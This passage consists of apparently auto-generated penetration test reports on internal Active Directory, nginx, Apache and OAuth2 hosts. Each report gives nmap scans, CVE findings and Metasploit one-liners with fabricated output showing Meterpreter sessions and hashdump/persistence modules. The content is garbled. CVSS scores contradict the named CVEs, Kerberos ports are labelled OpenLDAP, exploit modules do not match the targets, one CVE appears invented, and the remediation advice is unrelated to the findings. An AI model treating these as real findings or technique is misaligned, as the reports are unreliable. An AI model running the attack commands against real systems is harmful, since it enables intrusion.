2. Enforce MFA, strong password policies, secure session management, and rate limiting. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Validate and sanitize URLs, implement network segmentation, and use allowlists. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0097 Date: 2025-05-11 19:07:19 Tester: mchen Organization: VulnScan Experts Confidentiality: STRICTLY CONFIDENTIAL Test Objective: conduct red team assessment of the Active Directory server (10.137.160.243) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p389,636,88,464 10.137.160.243 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.137.160.243 Host is up (0.38s latency). MAC Address: 6C:EA:AE:D3:01:C8 (IBM) 389/tcp open ldap OpenLDAP 2.4.50 636/tcp open ldap OpenLDAP 2.4.49 88/tcp open ldap OpenLDAP 2.4.50 464/tcp open ldap OpenLDAP 2.4.49 OS details: Windows Server 2019 Domain Controller OS CPE: cpe:/o:microsoft:windows_server_2019:- Network Distance: 3 hops Service Info: Hostname: active-directory-server-01 Nmap done: 1 IP address (1 host up) scanned in 18 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2020-1472 (Zerologon - Netlogon Elevation of Privilege) CVE: CVE-2020-1472 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.1) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.137.160.243 Result: Security vulnerability identified that could potentially compromise the Active Directory server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2021-42287 (Kerberos PAC Validation Bypass) CVE: CVE-2021-42287 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.0) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.137.160.243 Result: Security vulnerability identified that could potentially compromise the Active Directory server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/multi/handler; set RHOSTS 10.137.160.243; set RPORT 4444; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-42287 (CVE-2021-42287) - CVE-2020-1472 (CVE-2020-1472) [*] Started reverse TCP handler on port 4444 [*] Sending payload... [*] Sending stage (676 bytes) [*] Meterpreter session 1 opened [*] Session established [*] Gained user access [*] Connected to 10.137.160.243 [*] Post-exploitation modules available: - hashdump - migrate - persistence === Final Assessment === Overall Risk Rating: High Confidence Level: High Confidence Rationale: Vulnerability was verified through successful exploitation or unambiguous detection signatures Key Findings: - 2 critical vulnerabilities identified - 1 high risk issues found - System configuration needs hardening Recommendations: 1. Validate and sanitize file paths, disable dangerous PHP functions, and use allowlists. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Enforce MFA, strong password policies, secure session management, and rate limiting. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Implement TLS 1.2+, encrypt data at rest using AES-256, and minimize data collection. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0098 Date: 2025-05-11 19:07:19 Tester: rjohnson Organization: SecureNet Solutions Confidentiality: STRICTLY CONFIDENTIAL Test Objective: conduct a comprehensive security assessment of the Active Directory server (10.190.111.123) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p389,636,88,464 10.190.111.123 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.190.111.123 Host is up (0.18s latency). MAC Address: BE:B8:6F:B1:51:74 (Apple) 389/tcp open ldap OpenLDAP 2.4.49 636/tcp open ldap OpenLDAP 2.4.49 88/tcp open ldap OpenLDAP 2.4.49 464/tcp open ldap OpenLDAP 2.4.50 OS details: Windows Server 2019 Domain Controller OS CPE: cpe:/o:microsoft:windows_server_2019:- Network Distance: 1 hops Service Info: Hostname: active-directory-server-01 Nmap done: 1 IP address (1 host up) scanned in 17 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2020-1472 (Zerologon - Netlogon Elevation of Privilege) CVE: CVE-2020-1472 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.6) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.190.111.123 Result: Security vulnerability identified that could potentially compromise the Active Directory server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2022-26923 (Certificate Services Privilege Escalation) CVE: CVE-2022-26923 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.5) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.190.111.123 Result: Security vulnerability identified that could potentially compromise the Active Directory server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2021-42287 (Kerberos PAC Validation Bypass) CVE: CVE-2021-42287 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.4) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.190.111.123 Result: Security vulnerability identified that could potentially compromise the Active Directory server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/multi/handler; set RHOSTS 10.190.111.123; set RPORT 4444; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-42287 (CVE-2021-42287) - CVE-2020-1472 (CVE-2020-1472) - CVE-2022-26923 (CVE-2022-26923) [*] Started reverse TCP handler on port 4444 [*] Sending payload... [*] Sending stage (535 bytes) [*] Meterpreter session 8 opened [*] Session established [*] Gained user access [*] Connected to 10.190.111.123 [*] Post-exploitation modules available: - hashdump - migrate - persistence === Final Assessment === Overall Risk Rating: Medium Confidence Level: Low Confidence Rationale: Potential vulnerability identified through indirect indicators requiring further validation Key Findings: - 2 critical vulnerabilities identified - 1 high risk issues found - System configuration needs hardening Recommendations: 1. Implement parameterized queries, input validation, and use ORM frameworks with built-in protection. Consider using prepared statements with bind variables in all database interactions. For Java applications, use JPA/Hibernate criteria API instead of string concatenation. 2. Enforce minimum 12-character passwords with complexity requirements and implement account lockout. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Use proper input validation, chroot jails, and principle of least privilege for file access. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0099 Date: 2025-05-11 19:07:19 Tester: asmith Organization: Pentest Professionals Confidentiality: STRICTLY CONFIDENTIAL Test Objective: assess the security posture of the Nginx web server (192.168.131.138) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p80,443 192.168.131.138 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.131.138 Host is up (0.53s latency). MAC Address: 4A:AA:78:BA:BD:53 (HP) 80/tcp open http nginx/1.18.0 443/tcp open http Apache/2.4.41 OS details: Linux 5.4.0-42-generic OS CPE: cpe:/o:linux:linux_kernel:5.4 Network Distance: 2 hops Service Info: Host: www.example.com Nmap done: 1 IP address (1 host up) scanned in 17 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2022-41741 (Use-After-Free in ngx_http_proxy_module) CVE: CVE-2022-41741 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.3) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.131.138 Result: Security vulnerability identified that could potentially compromise the Nginx web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2021-23017 (1-byte Memory Overwrite in DNS Resolver) CVE: CVE-2021-23017 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.0) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.131.138 Result: Security vulnerability identified that could potentially compromise the Nginx web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/linux/http/nginx_backdoor; set RHOSTS 192.168.131.138; set RPORT 80; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-23017 (CVE-2021-23017) - CVE-2022-41741 (CVE-2022-41741) [*] Started reverse TCP handler on port 80 [*] Sending payload... [*] Sending stage (221 bytes) [*] Meterpreter session 8 opened [*] Session established [*] Gained www-data access [*] Connected to 192.168.131.138 [*] Post-exploitation modules available: - shell - php_eval - file_upload === Final Assessment === Overall Risk Rating: High Confidence Level: High Confidence Rationale: Vulnerability was verified through successful exploitation or unambiguous detection signatures Key Findings: - 3 critical vulnerabilities identified - 1 high risk issues found - System configuration needs hardening Recommendations: 1. Validate and sanitize file paths, disable dangerous PHP functions, and use allowlists. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Enforce minimum 12-character passwords with complexity requirements and implement account lockout. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Use proper input validation, chroot jails, and principle of least privilege for file access. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0100 Date: 2025-05-11 19:07:19 Tester: kwilson Organization: Pentest Professionals Confidentiality: STRICTLY CONFIDENTIAL Test Objective: perform authorized security testing of the Apache web server (192.168.22.33) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p80,443,8080,8443 192.168.22.33 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.22.33 Host is up (0.16s latency). MAC Address: A0:20:F4:30:A9:0A (Intel) 80/tcp open http Apache/2.4.41 443/tcp open http Apache/2.4.41 8080/tcp open http nginx/1.18.0 8443/tcp open http nginx/1.18.0 OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:4.15 Network Distance: 3 hops Service Info: Host: www.example.com Nmap done: 1 IP address (1 host up) scanned in 24 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2021-42013 (RCE - Apache 2.4.50) CVE: CVE-2021-42013 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.8) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.22.33 Result: Security vulnerability identified that could potentially compromise the Apache web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2021-41773 (Path Traversal - Apache 2.4.49) CVE: CVE-2021-41773 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.6) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.22.33 Result: Security vulnerability identified that could potentially compromise the Apache web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2022-31813 (HTTP Response Smuggling - Apache HTTP Server) CVE: CVE-2022-31813 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.5) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.22.33 Result: Security vulnerability identified that could potentially compromise the Apache web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/linux/http/apache_mod_cgi_bash_env_exec; set RHOSTS 192.168.22.33; set RPORT 80; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-42013 (CVE-2021-42013) - CVE-2021-41773 (CVE-2021-41773) - CVE-2022-31813 (CVE-2022-31813) [*] Started reverse TCP handler on port 80 [*] Sending payload... [*] Sending stage (229 bytes) [*] Meterpreter session 2 opened [*] Session established [*] Gained root access [*] Connected to 192.168.22.33 [*] Post-exploitation modules available: - shell - upload - download - screenshot === Final Assessment === Overall Risk Rating: High Confidence Level: High Confidence Rationale: Vulnerability was verified through successful exploitation or unambiguous detection signatures Key Findings: - 2 critical vulnerabilities identified - 5 high risk issues found - System configuration needs hardening Recommendations: 1. Regenerate session IDs after login and implement proper session invalidation. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Configure SQL Agent to run under least privileged account. Enable job step security. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. 3. 1. Disable SMBv1 protocol completely 2. Apply all Windows security updates immediately 3. Restrict SMB access to authorized networks only 4. Enable SMB signing to prevent man-in-the-middle attacks Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0101 Date: 2025-05-11 19:07:19 Tester: kwilson Organization: Acme Security Confidentiality: STRICTLY CONFIDENTIAL Test Objective: perform authorized security testing of the Nginx web server (192.168.91.55) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p80,443 192.168.91.55 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.91.55 Host is up (0.26s latency). MAC Address: 70:66:66:C6:94:74 (HP) 80/tcp open http Apache/2.4.41 443/tcp open http Apache/2.4.41 OS details: Linux 5.4.0-42-generic OS CPE: cpe:/o:linux:linux_kernel:5.4 Network Distance: 2 hops Service Info: Host: intranet.local Nmap done: 1 IP address (1 host up) scanned in 24 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2022-41741 (Use-After-Free in ngx_http_proxy_module) CVE: CVE-2022-41741 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.7) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.91.55 Result: Security vulnerability identified that could potentially compromise the Nginx web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2021-23017 (1-byte Memory Overwrite in DNS Resolver) CVE: CVE-2021-23017 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.9) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.91.55 Result: Security vulnerability identified that could potentially compromise the Nginx web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/linux/http/nginx_backdoor; set RHOSTS 192.168.91.55; set RPORT 80; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-23017 (CVE-2021-23017) - CVE-2022-41741 (CVE-2022-41741) [*] Started reverse TCP handler on port 80 [*] Sending payload... [*] Sending stage (516 bytes) [*] Meterpreter session 9 opened [*] Session established [*] Gained www-data access [*] Connected to 192.168.91.55 [*] Post-exploitation modules available: - shell - php_eval - file_upload === Final Assessment === Overall Risk Rating: Low Confidence Level: Low Confidence Rationale: Potential vulnerability identified through indirect indicators requiring further validation Key Findings: - 3 critical vulnerabilities identified - 4 high risk issues found - System configuration needs hardening Recommendations: 1. Validate and sanitize URLs, implement network segmentation, and use allowlists. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Validate and sanitize file paths, disable dangerous PHP functions, and use allowlists. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Implement proper role-based access control (RBAC) with centralized authorization checks. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0102 Date: 2025-05-11 19:07:19 Tester: asmith Organization: Acme Security Confidentiality: STRICTLY CONFIDENTIAL Test Objective: execute penetration testing on the OAuth2 authentication service (10.137.201.82) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p80 10.137.201.82 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.137.201.82 Host is up (0.43s latency). MAC Address: B2:A2:D9:EB:29:4F (Amazon) 80/tcp open http nginx/1.18.0 OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:4.15 Network Distance: 3 hops Service Info: Hostname: oauth2-authentication-service-01 Nmap done: 1 IP address (1 host up) scanned in 6 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: Insecure Configuration CVE: CVE-2020-14750 CVSS Score: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N (5.4) Primary Tool: Nmap scripts, CIS benchmarks, and manual configuration review Test Method: nmap --script vuln -p80 10.137.201.82 Result: Medium Risk: Default credentials, verbose errors, or unnecessary services increase attack surface. Impact varies by configuration flaw. Attack complexity is typically low. Remediation: See vendor documentation ## Vulnerability 2: Information Disclosure CVE: CVE-2022-15284 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.3) Primary Tool: OWASP ZAP (Passive Scan), Burp Suite (Scanner), and manual review Test Method: nmap --script vuln -p80 10.137.201.82 Result: Security vulnerability identified that could potentially compromise the OAuth2 authentication service. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/linux/http/nginx_backdoor; set RHOSTS 10.137.201.82; set RPORT 80; exploit" Output: [*] Started reverse TCP handler on port 80 [*] Attempting to exploit using linux/http/nginx_backdoor... [-] Exploit failed: Connection reset by peer [*] Analysis: - Attempted to exploit known vulnerabilities: - Insecure Configuration (CVE-2020-14750) - Information Disclosure (CVE-2022-15284) - Network-level blocking or intrusion prevention system detected the attack [*] Recommended next steps: - Research alternative exploits for the same service or pivot to other attack vectors - Verify service version and patch level - Try manual exploitation techniques === Final Assessment === Overall Risk Rating: Medium Confidence Level: Low Confidence Rationale: Potential vulnerability identified through indirect indicators requiring further validation Key Findings: - 2 critical vulnerabilities identified - 1 high risk issues found - System configuration needs hardening Recommendations: 1. Apply context-sensitive output encoding and implement Content Security Policy (CSP) headers. Implement CSP with 'default-src none; script-src self; object-src none' as baseline. Report-URI directive should be configured for violation monitoring. 2. Validate and sanitize URLs, implement network segmentation, and use allowlists. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Upgrade to latest SQL Server version and apply security patches. Disable obsolete TDS versions. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT ---